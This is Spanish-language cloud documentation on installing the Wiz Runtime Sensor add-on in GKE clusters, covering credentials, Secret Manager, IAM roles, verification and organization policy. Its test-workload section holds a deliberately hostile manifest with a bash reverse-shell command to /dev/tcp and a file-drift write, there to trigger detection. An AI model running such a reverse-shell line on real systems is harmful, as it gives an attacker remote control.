Instala el sensor de entorno de ejecución de Wiz en clústeres de GKE

Wiz Runtime Sensor es un componente de la plataforma principal de Wiz que proporciona capacidades de detección y respuesta ante amenazas en tiempo real para las cargas de trabajo del entorno de ejecución. Puedes instalar Runtime Sensor en clústeres de Google Kubernetes Engine (GKE) como un complemento administrado. En este documento, se muestra a los administradores de plataformas y a los ingenieros de seguridad cómo instalar el complemento Runtime Sensor, configurar el acceso a la plataforma de Wiz y aplicar la instalación de Runtime Sensor en toda la organización, la carpeta o el proyecto.

Ya debes estar familiarizado con el Wiz Runtime Sensor.

Cuándo usar el complemento Runtime Sensor

El método de instalación del complemento administrado es una alternativa integrada para instalar Runtime Sensor con métodos de instalación como un gráfico de Helm. El complemento Runtime Sensor tiene los siguientes beneficios:

  • GKE instala los componentes y administra la mayoría de las tareas de configuración, lo que reduce el esfuerzo y la complejidad de instalar Runtime Sensor en comparación con el uso del gráfico de Helm.
  • Puedes usar el servicio de políticas de la organización para exigir la habilitación del complemento en toda la organización, las carpetas o los proyectos.
  • El complemento se ejecuta en clústeres de Autopilot y junto con cargas de trabajo de Autopilot en clústeres de Standard sin necesidad de agregar Runtime Sensor a una lista de entidades permitidas.
  • Las actualizaciones de los componentes de Runtime Sensor son independientes de las actualizaciones de la versión de parche de GKE.

También puedes instalar Runtime Sensor en tus clústeres con el gráfico de Helm. Si usas este método, obtendrás más flexibilidad para personalizar la configuración del sensor. Sin embargo, este método requiere más configuración manual durante la instalación y es más difícil de aplicar a gran escala en comparación con el uso del complemento. Si instalas Runtime Sensor con el gráfico de Helm, GKE no administra los componentes. Si no usas el complemento de GKE, informa cualquier problema con Runtime Sensor, como errores o incompatibilidades, directamente a Wiz.

Cómo funciona

Instalas el complemento en clústeres específicos con la API de GKE. Cuando habilitas el complemento, GKE crea el espacio de nombres gke-managed-wiz y, luego, instala los componentes de Runtime Sensor. GKE requiere acceso al registro de contenedor privado de Wiz para extraer imágenes de Runtime Sensor.

Después de la instalación, Runtime Sensor requiere acceso a la API de Wiz para enviar información a la plataforma de Wiz. Para otorgar a GKE y a Runtime Sensor el acceso necesario, proporciona la siguiente información como Secrets en el espacio de nombres gke-managed-wiz:

  • Credenciales para acceder al Container Registry de Wiz y extraer la imagen de Runtime Sensor
  • Información de configuración para Runtime Sensor, como credenciales de la API de Wiz y variables específicas del entorno

Puedes crear estos Secrets de forma manual o subir la información a Google Cloud Secret Manager, que crea automáticamente los Secrets, rota las versiones en un programa recurrente y lanza actualizaciones a los Secrets implementados.

Precios

El complemento Wiz Runtime Sensor está disponible sin costo adicional en GKE. Se aplican las siguientes consideraciones:

  • Debes tener una licencia activa de Wiz Runtime Sensor. Para obtener más información, consulta Precios de Wiz.
  • Los componentes de Runtime Sensor se ejecutan en tus nodos y consumen recursos de CPU y memoria, lo que puede hacer que se necesiten más nodos para alojar todos los Pods de tu clúster.
  • Si usas Secret Manager para almacenar tus credenciales y configuraciones de Wiz, se aplican los precios de Secret Manager.

Limitaciones

Se aplican las siguientes limitaciones al uso del complemento:

  • Si actualizas el registro de Wiz o las credenciales de la API en los Secrets implementados, debes reiniciar de forma manual el DaemonSet de Runtime Sensor con el comando kubectl rollout restart.
  • Para instalar Runtime Sensor, debes subir las credenciales del registro de Wiz de tu tenant como un Secret de Kubernetes o a Secret Manager.
  • Si usas nodos privados, debes configurar el acceso saliente a l registro de contenedor de Wiz (registry.wiz.io) con Cloud NAT.
  • El complemento administrado de GKE solo admite los siguientes parámetros de configuración opcionales para Runtime Sensor:
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

Para usar cualquiera de los otros parámetros de configuración, instala Runtime Sensor con el gráfico de Helm.

Antes de comenzar

Antes de comenzar, asegúrate de haber realizado las siguientes tareas:

  • Habilita la API de Google Kubernetes Engine.
  • Habilitar la API de Google Kubernetes Engine
  • Si deseas usar Google Cloud CLI para esta tarea, instala y, luego, inicializa the gcloud CLI. Si ya instalaste gcloud CLI, ejecuta el comando gcloud components update para obtener la versión más reciente. Es posible que las versiones anteriores de gcloud CLI no admitan la ejecución de los comandos de este documento.

Roles obligatorios

Para habilitar y configurar el complemento Runtime Sensor para GKE, debes tener los siguientes roles en el Google Cloud proyecto:

También debes tener acceso a un usuario de Wiz para obtener credenciales para el Container Registry de Wiz y generar un token de OAuth para la API de Wiz.

Prepara las credenciales y los archivos de configuración de Wiz

Para instalar Runtime Sensor y enviar información a la plataforma de Wiz, debes proporcionar credenciales para acceder al registro privado de Wiz y a la API de Wiz. Para preparar esta información, sigue estos pasos:

  1. Busca tus credenciales de Container Registry de Wiz para el registry.wiz.io registro.
  2. Crea una cadena codificada en Base64 que contenga las credenciales del registro en una estructura que Kubernetes pueda analizar:

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'
    

    Reemplaza lo siguiente:

    • WIZ_REGISTRY_USERNAME: El nombre de usuario para el registro de contenedor de Wiz.
    • WIZ_REGISTRY_PASSWORD: La contraseña para el registro de contenedor de Wiz.

    El resultado es similar a este:

    aGVsbG86d29ybGQ=
    
  3. Guarda la información como un archivo JSON:

    {
      "auths": {
        "registry.wiz.io": {
          "username": "WIZ_REGISTRY_USERNAME",
          "password": "WIZ_REGISTRY_PASSWORD",
          "auth": "BASE64_ENCODED_CREDENTIALS"
        }
      }
    }
    

    Reemplaza BASE64_ENCODED_CREDENTIALS por la cadena codificada del paso anterior.

  4. Crea una cuenta de servicio de Wiz y copia la siguiente información:

    • El ID de cliente, que también puedes encontrar en el portal de Wiz en la página Cuentas de servicio.
    • El secreto del cliente, que solo es visible cuando creas la cuenta de servicio.
  5. Crea un archivo de configuración YAML para Runtime Sensor:

    clientId: "WIZ_CLIENT_ID"
    clientToken: "WIZ_CLIENT_SECRET"
    clientEndpoint: "WIZ_CLIENT_ENDPOINT"
    

    Reemplaza lo siguiente:

    • WIZ_CLIENT_ID: El ID de cliente de la cuenta de servicio.
    • WIZ_CLIENT_TOKEN: El secreto del cliente de la cuenta de servicio.
    • WIZ_CLIENT_ENDPOINT: La URL del token que se usará, que depende de tu tenant de Wiz.
  6. Opcional: Si usas un proxy HTTP, puedes configurar Runtime Sensor para que use el servidor proxy. Crea un archivo de configuración YAML para el proxy:

    httpsProxy: "PROXY_URL"
    caCertificate: "CA_CERTIFICATE"
    clientCertificate: "CLIENT_CERTIFICATE"
    

    Reemplaza lo siguiente:

    • PROXY_URL: La URL del proxy completamente calificada, como https://proxy.example.com:8080.
    • CA_CERTIFICATE: El certificado de la AC, en formato PEM, del servidor proxy. Si tu servidor proxy no usa TLS, entonces especifica un valor vacío ("").
    • CLIENT_CERTIFICATE: El certificado de cliente, en formato PEM, del servidor proxy. Si tu servidor proxy no usa TLS, especifica un valor vacío ("").

Crea secretos en Secret Manager

En esta sección, se muestra cómo almacenar los distintos archivos de configuración y credenciales de Wiz en Secret Manager. Puedes especificar los URI de estos secretos cuando habilites el complemento Runtime Sensor en un clúster de GKE. Secret Manager crea automáticamente los Secrets de Kubernetes en el espacio de nombres de Wiz. Cuando actualizas los valores en Secret Manager, los Secrets de Kubernetes se vuelven a sincronizar automáticamente para usar los valores nuevos. De manera opcional, puedes omitir esta sección y crear los Secrets de forma manual en el espacio de nombres gke-managed-wiz.

Para crear los secretos en Secret Manager, sigue estos pasos:

  1. Almacena las credenciales del registro de Wiz:

    1. Crea un secreto para almacenar las credenciales del registro de Wiz:

      gcloud secrets create wiz-image-pull-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      

      Reemplaza SECRET_PROJECT_ID por el ID del proyecto en el que se crearán los secretos. Google Cloud

    2. Almacena las credenciales del registro de Wiz en el secreto wiz-image-pull-secret:

      gcloud secrets versions add wiz-image-pull-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CREDENTIALS_FILE
      

      Reemplaza PATH_TO_CREDENTIALS_FILE por la ruta de acceso al archivo JSON que contiene las credenciales del registro de Wiz.

  2. Almacena las credenciales de la API de Runtime Sensor:

    1. Crea un secreto para almacenar las credenciales de la API de Runtime Sensor:

      gcloud secrets create wiz-api-key-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Almacena las credenciales de la API de Runtime Sensor en el secreto wiz-api-key-secret:

      gcloud secrets versions add wiz-api-key-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CONFIG_FILE
      

      Reemplaza PATH_TO_CONFIG_FILE por la ruta de acceso al archivo YAML que contiene las credenciales de la API de Runtime Sensor.

  3. Opcional: Almacena la información de configuración de tu proxy:

    1. Crea un secreto para almacenar la configuración del servidor proxy:

      gcloud secrets create wiz-sensor-proxy-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Almacena la configuración del servidor proxy en el secreto wiz-sensor-proxy-secret:

      gcloud secrets versions add wiz-sensor-proxy-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_PROXY_FILE
      

      Reemplaza PATH_TO_PROXY_FILE por la ruta de acceso al archivo YAML que contiene los parámetros de configuración del proxy.

Otorga acceso a GKE a Secret Manager

Para sincronizar la información en Secret Manager como Secrets de Kubernetes, otorga el rol de IAM de descriptor de acceso a secretos de Secret Manager (roles/secretmanager.secretAccessor) en los secretos que creaste a la ServiceAccount de Kubernetes wiz-sensor-secretsync-sa en el espacio de nombres gke-managed-wiz. Cuando habilitas el complemento Runtime Sensor en un clúster, GKE crea esta ServiceAccount y usa la identidad de ServiceAccount para crear los Secrets correspondientes en el espacio de nombres. Si planeas crear Secrets de forma manual en lugar de usar Secret Manager, omite esta sección.

En los siguientes pasos, se muestra cómo otorgar el rol obligatorio:

  1. Busca el número de proyecto de tu proyecto de clúster:

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'
    

    El resultado es similar a 1234567890.

  2. Otorga el rol en el secreto wiz-image-pull-secret:

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

    Reemplaza lo siguiente:

    • SECRET_PROJECT_ID: El ID del proyecto que contiene tus secretos.
    • CLUSTER_PROJECT_NUMBER: El número de proyecto del proyecto de clúster.
    • CLUSTER_PROJECT_ID: El ID del proyecto del proyecto de clúster.
  3. Otorga el rol en el secreto wiz-api-key-secret:

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    
  4. Opcional: Si creaste un secreto que contiene información del proxy HTTP, otorga el rol en el secreto wiz-sensor-proxy-secret:

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

Habilita el complemento Runtime Sensor para GKE

Después de crear los secretos en Secret Manager y otorgar a GKE el rol obligatorio en los secretos, habilita el complemento Runtime Sensor para tu clúster. Puedes habilitar el complemento en clústeres de Standard o Autopilot nuevos o existentes. En los siguientes pasos, se muestra cómo habilitar el complemento y configurar la sincronización de secretos en un clúster existente. También puedes usar estas marcas durante la creación del clúster.

  1. Habilita la sincronización de secretos para un clúster existente. Si planeas crear Secrets de forma manual en lugar de usar Secret Manager, omite este paso.

    gcloud container clusters update CLUSTER_NAME \
        --project=CLUSTER_PROJECT_ID \
        --location=CONTROL_PLANE_LOCATION \
        --enable-secret-sync --enable-secret-sync-rotation
    

    Reemplaza lo siguiente:

    • CLUSTER_NAME: El nombre de tu clúster.
    • CLUSTER_PROJECT_ID: El ID del proyecto de tu proyecto de clúster.
    • CONTROL_PLANE_LOCATION: La ubicación del plano de control de tu clúster.
  2. Ejecuta uno de los siguientes comandos para habilitar el complemento. Si planeas crear Secrets de forma manual en lugar de usar Secret Manager, especifica solo la marca --addons en estos comandos.

    • Habilita el complemento sin configurar un proxy HTTP:

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest
      
    • Habilita el complemento y configura un proxy HTTP:

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
          --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
      

Verifique la instalación

Para verificar la instalación del complemento, sigue estos pasos:

  1. Obtén credenciales para ejecutar comandos kubectl en el clúster:

    gcloud container clusters get-credentials CLUSTER_NAME \
        --location=CONTROL_PLANE_LOCATION \
        --project=CLUSTER_PROJECT_ID
    
  2. Verifica si existe el espacio de nombres gke-managed-wiz:

    kubectl get namespace gke-managed-wiz
    

    El resultado es similar a este:

    NAME              STATUS   AGE
    gke-managed-wiz   Active   76s
    
  3. Verifica si existen los recursos personalizados de Secret Manager en el espacio de nombres:

    kubectl get secretproviderclass --namespace=gke-managed-wiz
    kubectl get secretsync --namespace=gke-managed-wiz
    

    El resultado es similar a este:

    NAME                          AGE
    wiz-sensor-secrets-provider   76s
    wiz-sensor-apikey             76s
    wiz-sensor-imagepullkey       75s
    wiz-sensor-proxy              76s
    
  4. Verifica si existen los Secrets de Kubernetes:

    kubectl get secrets --namespace=gke-managed-wiz
    

    El resultado es similar a este:

    NAME                      TYPE                              DATA   AGE
    wiz-sensor-apikey         Opaque                            3      76s
    wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s
    
  5. Verifica el estado del DaemonSet de Runtime Sensor:

    kubectl get daemonset --namespace=gke-managed-wiz
    

    El resultado es similar a este:

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
    wiz-sensor  1         1         1       1            1           <none>          76s
    

    Este resultado indica que Runtime Sensor está listo y disponible.

  6. Verifica los registros de inicio y conexión de los Pods de Runtime Sensor:

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100
    

    El resultado es similar a este:

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
    {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
    {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
    {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
    {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
    {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
    

Implementa una carga de trabajo de prueba

Para verificar si funciona la conexión al portal de Wiz, sigue estos pasos:

  1. Guarda el siguiente manifiesto de Deployment como un archivo YAML:

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: demo-nginx
      namespace: default
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: demo-nginx
      template:
        metadata:
          labels:
            app: demo-nginx
        spec:
          containers:
          - name: nginx
            image: nginx:1.15.6
            command: ["/bin/bash", "-c"]
            args:
            - |
              # Trigger background reverse shell attempt
              (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
              # Trigger image drift file modification
              touch /usr/bin/malicious_test_file
              # Start Nginx
              exec nginx -g "daemon off;"
            ports:
            - containerPort: 80
    

    Este objeto Deployment crea un Pod que simula un ataque de shell inverso.

  2. Crea el Deployment:

    kubectl apply -f PATH_TO_MANIFEST
    

    Reemplaza PATH_TO_MANIFEST por la ruta de acceso al archivo de manifiesto de Deployment.

  3. En el portal de Wiz, ve a la página Amenazas.

  4. En la tabla de amenazas, busca un hallazgo de amenaza para el intento de shell inverso.

Aplica la instalación del complemento con una política de la organización

Puedes aplicar la instalación del complemento Runtime Sensor en varios clústeres de una organización, una carpeta o un proyecto con la política de la organización. Crea una restricción personalizada que tenga las siguientes propiedades:

  • Recurso: container.googleapis.com/Cluster
  • Condición: resource.addonsConfig.wizSensor.enabled == false
  • Acción: DENY

Para obtener más información sobre cómo configurar una restricción personalizada que tenga estas propiedades, consulta Restringe acciones en los recursos de GKE con políticas de la organización personalizadas.

¿Qué sigue?